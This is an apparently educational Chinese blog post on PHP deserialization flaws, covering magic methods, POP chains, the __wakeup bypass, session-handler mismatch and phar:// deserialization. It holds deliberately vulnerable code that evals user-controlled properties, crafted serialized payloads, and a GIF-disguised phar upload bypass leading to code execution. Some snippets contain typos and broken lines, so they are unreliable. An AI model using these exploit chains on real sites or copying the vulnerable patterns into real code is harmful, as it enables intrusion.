Ywc's blog

PHP反序列化漏洞

Word count: 4.7kReading time: 19 min
2018/06/03

PHP反序列化漏洞

序列化与反序列化

  • 序列化:将一个对象转换成字符串。把复杂的数据类型压缩到一个字符串中 数据类型可以是数组,字符串,对象等 函数 : serialize()
  • 反序列化:恢复原先被序列化的变量。函数: unserialize()

原理

  • 原理:未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL注入,目录遍历等不可控后果。

    • 反序列化的过程中自动触发了某些魔术方法。在反序列化时,如果反序列化对象中存在魔法函数,使用unserialize()函数同时也会触发。这样,一旦我们能够控制unserialize()入口,那么就可能引发对象注入漏洞。
  • 漏洞触发条件: unserialize函数的参数、变量可控,php文件中存在可利用的类、类中有魔术方法。

  • 魔术方法:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    __constuct: 构建对象的时被调用
    __destruct: 明确销毁对象或脚本结束时被调用
    __invoke: 当以函数方式调用对象时被调用
    __toString: 当一个类被转换成字符串时被调用
    __wakeup: 当使用unserialize时被调用,可用于做些对象的初始化操作
    __sleep: 当使用serialize时被调用,当你不需要保存大对象的所有数据时很有用
    __callStatic: 调用不可访问或不存在的静态方法时被调用
    __set: 当给不可访问或不存在属性赋值时被调用
    __get: 读取不可访问或不存在属性时被调用
    __call: 调用不可访问或不存在的方法时被调用
    __isset: 对不可访问或不存在的属性调用isset()或empty()时被调用
    __unset: 对不可访问或不存在的属性进行unset时被调用
    __clone: 进行对象clone时被调用,用来调整对象的克隆行为

反序列化POP链

  • unserialize()反序列化函数用于将单一的已序列化的变量转换回 PHP 的值。
  • 当反序列化参数可控时,可能会产生PHP反序列化漏洞。
  • 在反序列化中,我们所能控制的数据就是对象中的各个属性值,所以在PHP的反序列化中有一种漏洞利用方法叫做 “面向属性编程”,面向对象编程从一定程度上来说,就是完成类与类之间的调用。POP链起于一些小的“组件”,这些小“组件”可以调用其他的“组件”
  • 在PHP中,“组件”就是那些魔术方法(如:wakeup()或destruct)

面向属性编程(Property-Oriented Programing)常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链。在控制代码或者程序的执行流程后就能够使用这一组调用链做一些工作了。

绕过魔法方法的反序列化漏洞(CVE-2016-7124)

绕过魔术方法 __wakeup: 当序列化字符串中表示对象属性个数的数字值大于真实类中属性的个数时就会跳过__wakeup的执行。

unserialize() 执行时会检查是否存在一个 wakeup() 方法。 如果存在,则会先调用 wakeup方法,预先准备对象需要的资源。
wakeup()经常用在反序列化操作中,例如重新建立数据库连接,或执行其它初始化操作。
sleep()则相反,是用在序列化一个对象时被调用.

PHP SESSION反序列化

简介与基础知识

在php.ini中存在三项配置项:

  • session.save_path="" –设置session的存储路径
  • session.save_handler=""设定用户自定义session存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
  • session.auto_start boolen –指定会话模块是否在请求开始时启动一个会话,默认为0不启动
  • session.serialize_handler string定义用来序列化/反序列化的处理器名字。默认使用php (php<5.5.4)

以上的选项就是与PHP中的Session 存储 和 序列化存储 有关的选项。

在使用xampp组件安装中,上述的配置项的设置如下:

  • session.save_path="D:\xampp\tmp" 表明所有的session文件都是存储在xampp/tmp下
  • session.save_handler=files 表明session是以文件的方式来进行存储的
  • session.auto_start=0 表明默认不启动session
  • session.serialize_handler=php 表明session的默认序列化引擎使用的是php序列话引擎

在上述的配置中,session.serialize_handler是用来设置session的序列化引擎的,除了默认的PHP引擎之外,还存在其他引擎,不同的引擎所对应的session的存储方式不相同。

引擎 session存储方式
php(php<5.5.4) 存储方式是,键名+竖线`
php_serialize(php>5.5.4) 存储方式是,经过serialize()函数序列化处理的键和值(将session中的key和value都会进行序列化)
php_binary 存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值

在PHP (php<5.5.4) 中默认使用的是PHP引擎,如果要修改为其他的引擎,只需要添加代码ini_set('session.serialize_handler', '需要设置的引擎名');进行设置。

示例代码如下:

1
2
3
4
<?php
ini_set('session.serialize_handler', 'php_serialize'); //设置序列化引擎使用php_serialize
session_start();
// do something ......

存储机制

php中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。
存储的文件是以sess_sessionid(PHPSESSID)来进行命名的,文件的内容就是session值经过serialize()函数序列化之后的内容。

假设我们的环境是xampp,那么默认配置如上所述。

漏洞危害

PHP中的Session的实现是没有的问题的,危害主要是由于程序员的Session使用不当而引起的。
如果设置的session序列化选择器与默认的不同的话就可能会产生漏洞(会导致数据无法正确的反序列化)。通过精心构造的数据包,就可以绕过程序的验证或者是执行一些系统的方法。例如:

1
$_SESSION['spoock'] = '|O:11:"PeopleClass":0:{}';

上述的$_SESSION的数据如果使用php_serialize,那么最后的存储的内容就是a:1:{s:6:"spoock";s:24:"|O:11:"PeopleClass":0:{}";}

但是我们在进行读取的时候,如果选择的是php,那么最后读取的内容是:

1
2
3
4
array (size=1)
'a:1:{s:6:"spoock";s:24:"' =>
object(__PHP_Incomplete_Class)[1]
public '__PHP_Incomplete_Class_Name' => string 'PeopleClass' (length=11)

这是因为当使用php引擎的时候,php引擎会以竖杠 | 作为作为key(键)和value(值)的分隔符,那么就会将a:1:{s:6:“spoock”;s:24:”作为SESSION的key(键),将O:11:“PeopleClass”:0:{}作为value(值),然后进行反序列化,最后就会得到PeopleClas这个类。

这种由于序列化和反序列化所使用的不一样的引擎就是造成PHP Session序列话漏洞的原因。

漏洞利用

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class syclover{
var $func="";
function __construct() { // __construct()在实例化是被调用
$this->func = "phpinfo()";
}
function __wakeup(){
eval($this->func);
}
}
unserialize($_GET['a']);
?>

在11行对传入的参数进行了反序列化。我们可以通过传入一个特定的字符串,反序列化为syclover的一个示例,那么就可以执行eval()方法。我们访问localhost/test.php?a=O:8:"syclover":1:{s:4:"func";s:14:"echo "spoock";";}
那么反序列化得到的内容是:

1
2
object(syclover)[1]
public 'func' => string 'echo "spoock";' (length=14)

最后页面输出的就是spoock,说明最后执行了我们定义的echo “spoock”;方法。这就是一个简单的序列化的漏洞的演示。

实际利用

存在s1.php和us2.php这两个文件,2个文件所使用的SESSION的引擎不一样,就形成了一个漏洞。

s1.php,使用php_serialize来处理session

1
2
3
4
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["spoock"]=$_GET["a"];

us2.php,使用php来处理session

1
2
3
4
5
6
7
8
9
10
11
12
13
ini_set('session.serialize_handler', 'php');`localhost/s1.php?a=|O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}`
session_start();
class lemon {
var $hi;
function __construct(){
$this->hi = 'phpinfo();';
}

function __destruct() {
eval($this->hi);
}
}
// O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}

此题在s1.php中有可以传入session的点,所以就不用构造表单了,这题的突破点在哪里,没错,就是我备注的那块s2.php中ini_set('session.serialize_handler', 'php');,选择session序列化处理器。

当访问s1.php时,提交如下的数据并存储到session文件中:

1
localhost/s1.php?a=|O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}

此时传入的数据会按照php_serialize来进行序列化,由s2.php读取时按照php来反序列化。

O:5:“lemon”:1:{s:2:“hi”;s:14:“echo “spoock”;”;}由以下序列化来得到,在加上一个竖杠 |
就行了

1
2
3
4
5
6
7
8
9
10
<?php

class lemon
{
public $hi='xxxxx';
}
$obj = new lemon();
echo serialize($obj);
?>
xxxxx处按照你想执行的代码来填写,这里填的是echo "spoock

此时访问us2.php时,页面输出,spoock成功执行了我们构造的函数。因为在访问us2.php时,程序会按照php来反序列化SESSION中的数据,此时就会反序列化伪造的数据,就会实例化lemon对象,最后就会执行析构函数中的eval()方法。

phar伪协议触发php反序列化

  • phar文件会以序列化的形式存储用户自定义的meta-data,在一些文件操作函数执行的参数可控时,我们在参数部分利用Phar伪协议,可以不依赖unserialize() 直接进行反序列化操作,在读取phar文件里的数据时反序列化meta-data,达到我们的操控目的。

  • 而在一些上传点,我们可以更改phar的文件头并且修改其后缀名绕过检测,如:test.gif,里面的meta-data却是我们提前写入的恶意代码,而且可利用的文件操作函数又很多,所以这是一种不错的绕过+执行的方法。

  • phar怎么用?
    phar.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class TestObject{
}

$phar = new Phar("phar.phar"); //实例一个phar对象供后续操作
$phar -> startBuffering(); //开始缓冲对phar的写操作
$phar -> setStub("<?php __HALT_COMPILER();?>"); //设置识别phar拓展的标识stub
$o = new TestObject();
$o -> data = 'h4ck3r';
$phar -> setMetadata($o); //将自定义的归档元数据meta-data存入manifest
$phar -> addFromString("test.txt","test"); //添加要压缩的文件
//签名自动计算
$phar -> stopBuffering(); //停止缓冲对phar的写操作
?>
  • 访问后,会生成一个phar.phar文件在当前目录下:

  • 用winhex打开,可以看到meta-data是以序列化的形式存储的。
    有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过 phar:// 伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:

如果这时候网站有一个这样的页面:

1
2
3
4
5
6
7
8
class TestObject{
function __destruct()
{
echo $this->data;
}
}
include ('phar://phar.phar');
?>

它可以通过伪协议包含我们的phar文件,那么在包含的过程中就会进行反序列化。访问它:

输出出我们的文字

示例——将phar伪造成其他格式的文件
在前面分析phar的文件结构时可能会注意到,php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加 任意的文件头 + 修改后缀名 的方式将phar文件伪装成其他格式的文件。基本操作:

1
2
3
4
5
6
7
8
9
10
11
12
?php
class TestObject {
}
$phar = new Phar('phar.phar');
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //设置stub,增加gif文件头
$phar ->addFromString('test.txt','test'); //添加要压缩的文件
$object = new TestObject();
$object -> data = 'hu3sky';
$phar -> setMetadata($object); //将自定义meta-data存入manifest
$phar -> stopBuffering();
?>

采用这种方法可以绕过很大一部分上传检测。

漏洞利用条件

  • phar文件要能够上传到服务器端(如GET、POST),并且要有file_exists(),fopen(),file_get_contents(),file(),include()等文件操作的函数
  • 要有可用的魔术方法作为“跳板”
  • 文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。

漏洞复现环境:
upload_file.php,后端检测文件上传,检测文件类型是否为gif,文件后缀名是否为gif
upload_file.html,前端文件上传表单
file_un.php,存在file_exists(),并且存在__destruct()

upload_file.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
echo "Upload: " . $_FILES["file"]["name"];
echo "Type: " . $_FILES["file"]["type"];
echo "Temp file: " . $_FILES["file"]["tmp_name"];
if (file_exists("upload_file/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],"upload_file/" .$_FILES["file"]["name"]);
echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
}

else
{
echo "Invalid file,you can only upload gif";
}

upload_file.html:

1
2
3
4
5
6
<body>
<form action="http://localhost/upload_file.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" name="Upload" />
</form>
</body>

file_un.php:(存在file_exists(),并且存在__destruct(),漏洞点)

1
2
3
4
5
6
7
8
9
10
11
<?php
$filename=$_GET['filename'];
class AnyClass{
var $output = 'echo "ok";';
function __destruct()
{
eval($this -> output);
}
}
file_exists($filename); // 漏洞点
?>

实现过程:
首先是根据file_un.php写一个生成phar的php文件,当然需要绕过为gif的限制,所以需要加GIF89a,然后我们访问这个php文件后,生成了phar.phar,修改后缀为gif,上传到服务器,然后利用file_exists,使用phar://执行代码

构造代码:
eval.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class AnyClass{
var $output = 'echo "ok";';
function __destruct()
{
eval($this -> output);
}
}
$phar = new Phar('phar.phar');
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new AnyClass();
$object -> output= 'phpinfo();';
$phar -> setMetadata($object);
$phar -> stopBuffering();
?>

(记住这个做题步骤,以后可以直接套用)
访问eval.php,会在当前目录生成phar.phar,然后修改后缀 gif

接着上传,文件会上传到upload_file目录下

然后利用file_un.php。
构造payload:

/?filename=phar://upload_file/phar.gif 即可访问到phpinfo目录

基础知识

访问控制修饰符

  • 根据访问控制修饰符的不同 序列化后的 属性长度属性值会有所不同:
    • protected属性被序列化的时候属性值会变成%00*%00属性名
    • private属性被序列化的时候属性值会变成%00类名%00属性名
      • (%00为空白符,空字符也有长度,一个空字符长度为 1)
1
2
3
public(公有) 
protected(受保护) // %00*%00属性名
private(私有的) // %00类名%00属性名

eg:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class Ctf{
public $name='Sch0lar';
protected $age='19';
private $flag='get flag';
}
$ctfer=new Ctf(); //实例化一个对象
echo serialize($ctfer); ?>
//输出结果 O:3:"Ctf":3:{s:4:"name";s:7:"Sch0lar";s:6:"*age";s:2:"19";s:9:"Ctfflag";s:8:"get flag";}
//可以看到
s:6:"*age" //*前后出现两个空白符,一个空白符长度为1,所以序列化后,该属性长度为6
s:9:"Ctfflag" //类名Ctf前后出现两个%00空白符,所以长度为9

php序列化

序列化:将一个对象转换成字符串。把复杂的数据类型压缩到一个字符串中 数据类型可以是数组,字符串,对象等 函数 : serialize()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
$test1 = "hello world"
$test2 = array("hello","world");
$test3 = 123456;
echo serialize($test1); // s:11:"hello world"; 序列化字符串
echo serialize($test2); // a:2:{i:0;s:5:"hello";i:1;s:5:"world";} 序列化数组
echo serialize($test3); // i:123456;
?>


<?php
class hello{
public $test = "hello,world";
}
$test = new hello();
echo serialize($test); // O:5:"hello":1:{s:5:"test4";s:11:"hello,world";
?>
  • 序列化对象时,首字母代表参数类型。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    a – array 数组
    b – boolean布尔型
    d – double双精度型
    i – integer(int)
    o – common object一般对象
    r – reference
    s – string
    C – custom object 自定义对象
    O – class
    N – null
    R – pointer reference
    U – unicode string unicode编码的字符串
  • 参数后面的数字代表参数的长度。
  • 序列化字符串格式: 变量类型:变量长度:变量内容
  • 如果序列化的是一个对象,序列化字符串格式为:
    变量类型:类名长度:类名:属性数量:{属性类型:属性名长度:属性名;属性值类型:属性值长度:属性值内容}
    如上面的O:5:"hello":1:{s:5:"test4";s:11:"hello,world"

php反序列化

反序列化函数unserialize()。反序列化就是将一个序列化了的对象或数组字符串,还原回去。

Reference

PHP序列化反序列化漏洞总结(一篇懂)

魔术方法:官方文档中介绍

http://www.freebuf.com/column/151447.html

http://www.lsablog.com/network_security/penetration/php-unserialize-bug-summary/

http://www.freebuf.com/vuls/116705.html

https://www.cnblogs.com/Mrsm1th/p/6835592.html

http://www.5idev.com/p-php_member_overloading.shtml

CATALOG
  1. 1. PHP反序列化漏洞
    1. 1.1. 序列化与反序列化
    2. 1.2. 原理
    3. 1.3. 反序列化POP链
    4. 1.4. 绕过魔法方法的反序列化漏洞(CVE-2016-7124)
  2. 2. PHP SESSION反序列化
    1. 2.1. 简介与基础知识
    2. 2.2. 漏洞危害
    3. 2.3. 漏洞利用
      1. 2.3.1. 实际利用
  3. 3. phar伪协议触发php反序列化
    1. 3.1. 漏洞利用条件
  4. 4. 基础知识
    1. 4.1. 访问控制修饰符
    2. 4.2. php序列化
    3. 4.3. php反序列化
  5. 5. Reference